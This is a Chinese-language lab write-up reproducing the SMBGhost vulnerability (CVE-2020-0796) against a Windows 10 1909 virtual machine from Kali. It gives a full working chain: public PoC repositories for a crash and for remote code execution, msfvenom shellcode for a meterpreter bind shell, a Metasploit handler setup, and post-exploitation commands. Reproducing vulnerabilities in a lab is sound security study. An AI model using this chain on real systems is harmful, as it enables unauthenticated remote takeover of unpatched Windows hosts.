漏洞介绍 https://nvd.nist.gov/vuln/detail/CVE-2020-0796
漏洞影响版本:
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server 2016, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server 2016, Version 1909 (Server Core installation)windows 10 1909
原理:SMB远程代码执行漏洞
SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。
kali: 192.168.0.10
win10-1909教育版:192.168.0.8
(迅雷下载:ed2k://|file|cn_windows_10_business_editions_version_1909_updated_dec_2019_x64_dvd_262ac8af.iso|5301471232|FD9D7DD90D16FA14A682AEF49F8E712B|/)
蓝屏POC
git clone https://github.com/eerykitty/CVE-2020-0796-PoC
getshell
git clone https://github.com/chompie1337/SMBGhost_RCE_PoC
python3 CVE-2020-0796.py 192.168.0.8
win10-1909蓝屏,攻击成功,说明存在漏洞。
使用msfvenom命令生成shellcode代码
msfconsole
msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f py -o shellcode.txt
复制shellcode.txt内容进入SMBGhost_RCE_PoC文件编辑exploit.py,将USER_PAYLOAD段全部删除,将刚刚shellcode.txt内容复制进去
将buf改为USER_PAYLOAD
进入kali中的msf模块打开监听模块
use exploit/multi/handler #选择监听模块
set payload windows/x64/meterpreter/bind_tcp #使用监听模块
set lport 4444 #监听端口
set rhost 192.168.0.8 # 目标主机
run #运行
新开一个kali的shell运行exploit.py反弹shell,可能一次执行不成功就多运行几次。
python3 exploit.py -ip 192.168.0.8
可以看到msf监听模块成功建立起会话
查看一下系统信息
sysinfo
上传kali的一个文件到win10, 获取shell
upload /root/Desktop/flag.txt
漏洞复现成功